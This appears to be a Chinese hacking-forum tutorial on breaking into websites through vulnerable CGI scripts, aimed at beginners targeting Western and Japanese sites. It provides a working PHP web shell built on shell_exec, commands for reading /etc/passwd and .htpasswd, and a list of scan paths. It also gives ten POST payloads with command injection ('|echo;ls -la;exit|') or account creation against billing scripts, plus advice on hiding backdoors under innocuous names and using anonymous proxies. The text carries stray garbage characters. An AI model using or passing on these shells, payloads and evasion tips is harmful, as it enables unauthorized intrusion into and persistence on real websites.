CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
9 ~* P! G, G6 q! ]9 ^; \大家好 我是bboyhip  只是一名菜菜的exploiter
/ X$ v/ \9 |; l7 p8 ^) E9 M2 ?$ C很开心来到贵论坛
这里让我感觉 很有技术交流的感觉
我会长长来玩的
1 [+ n! ~, X; Y' r% w$ T+ S前言:
) y) u" L2 |8 @7 `* S; F以下讲解针对欧美日本网站
- ~3 c; O, b* W7 t: W% G當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
1 p1 C; i6 f' K. i+ T所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/
9 P8 v$ A6 _! c0 Q
只是个人在实务上一些经验
写的不好 请多多见谅喔
/ m9 {) @; j' I4 m4 y6 V5 F# r8 e, d在这里我简单分为几个部份一定要會的
  `& ^) c; l- v# d) R9 ~讲解一下
& `  j! D' z9 V! W- f4 g让没有基础的人很容易上手

* e* y$ P! [- h# P以下内容跟帖回复才能看到
# s4 ~# [! c: J7 k==============================

& z  e5 d" B: e# |0 W% c第1部份: 何谓Shell?
% B$ G' l0 ^0 F3 YShell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
, C$ n9 ~, M, U, b% ~/ w- J2 `6 mA shell is the program which reads user input from the command line and executes actions based upon that input.
8 p+ _$ r' O  H: s( J6 f意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
$ m+ S5 \3 _- ~$ {; A所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

- P: [- b# q/ u( ?第2部份: Unix 指令
以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
0 A0 [1 K& N1 v( w! E如 /home/www/site.com/cgi-bin/
% A& N. r; T5 p# V6 x; f1 qls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
ls -al :详细列出档案资料(当前目录)
) D! e4 g% {1 u8 V( }+ hls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
5 O0 A* |1 H) S6 b+ h9 x+ }cat: 显示档案内容
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
$ {1 f) ^- f3 Q1 x9 E: bcat /etc/passwd: 显示 /etc/passwd 这个档案的内容
) U! E: m: w- ?2 [who: 显示谁login 至系统
7 C5 r, B6 |! b1 Lman: 显示指令用法  
# C/ G, y0 y1 w; {man ls: 显示ls这指令的用法  
mkdir 建立目录
0 D+ ?0 V/ M$ E' irmdir 删除目录
mv 移动档案
rm 删除档案

第3部份: Shell的使用
* P# c. R, Q. \3 [例如:
% z5 N( k$ F$ e8 Fhttp://site.com/refer.php
这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
" d  i- I* U3 b0 N3 C" _% t. }<Input type="text" name="cmd">
  ?6 t6 x0 M& @7 {) V  ^$ ?<Input type="Submit">
% M) `: |8 v1 B</Form>
<?php
, b$ C+ S  m7 m) x( L, C4 l$cmd = $_POST['cmd'];
+ y+ `$ N) @& m+ y+ V* L. O$Output = shell_exec($cmd);
& d& H0 q- v* b; F# g, Iecho $Output;
?>
输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
# x* i  O' [. y( ?& M
第4部份: 注意事项
2 o8 j8 Q9 \) g; D7 u( x0 v- 使用匿名代理, 保障自己
0 n/ S- T& U* l9 g- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
; X  E+ H3 k) [+ e7 w. D: r2 Y8 K, O- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
9 T8 d; r7 L5 n# B针对网站的渗透分析方法太多了
7 b) C8 b0 s) K这篇文章的重点是cgi 脚本攻击
$ S1 K8 E4 }0 S& ~" q* Z所以我用简单的叙述形容
! |# m9 J. A- N4 h开始讲解脚本入侵过程:
: R) n/ E5 L! b, s7 e' ~' i在这里提供一些方法思路让大家学习一下

1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
扫洞工具 如:triton..等等
E表
, K! u$ A  K5 ]' I% s3 O! R如
/cgi-bin/add-passwd.cgi
/WebShop/templates/cc.txt
& }$ y( z9 r/ M! r/ |/Admin_files/order.log
: P. [& P: t& J# r/orders/mountain.cfg
9 I1 v9 n. L3 M% |* `* u9 _/ m' \/cgi-sys/cart.pl
/scripts/cart.pl
/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day
2 H: Q  O% Y: k/ B
; f5 c+ {8 ]2 T! B+ H& l2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
6 J0 w/ {" ]# O3 [ERROR:This script should be referenced with a METHOD of POST.
) v$ _8 {$ f, d% U$ H+ e没有返回一定是假的
1 }8 B/ j7 s! S8 v1 f3.重来来了 很多人都会问我
他扫到很多洞 但是不会使用
5 Y  [) c0 U; A0 v8 g因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
6 x( U- P$ Y) q. m5 ]8 ?# U$ a# I  C或是用抓包工具 抓他的语法...等等
- L6 \  ]/ R: V( [, ?6 ^! `1 t! n
: G9 t) O/ e+ i' F) _* G以下我提供10个 cgi 洞以及使用方法post
8 g" V+ ]& S& j让大家可以针对网站去做扫描  
/index.cgi
, K1 n9 S# O3 j5 E9 I: |wei=ren&gen=command
/passmaster.cgi
Action=Add&Username=Username&Password=Password
/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
/ v9 ~) j4 N" t/form.cgi
, L9 q6 t- s# g& e9 P- Uname=xxxx&email=email&subject=xxxx&response=|echo;ls|
. l3 D& i7 e! o3 s: C  ]/addusr.pl
0 e" K+ x9 e  I/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
/ccbill-local.asp
post_values=username:password
& l" W9 n" N- |# ~$ i# o/count.cgi
1 {+ S3 @) B$ L: Tpinfile=|echo;ls -la;exit|
! F6 Z" {; }) h/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
  d+ [  [& s; x$ Y# V+ F/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>
% @: x1 [; o! G6 o4 c/af.cgi_browser_out=|echo;ls -la;exit;|

4 {( e6 V5 h" T% A( x今天就讲到这  感谢大家支持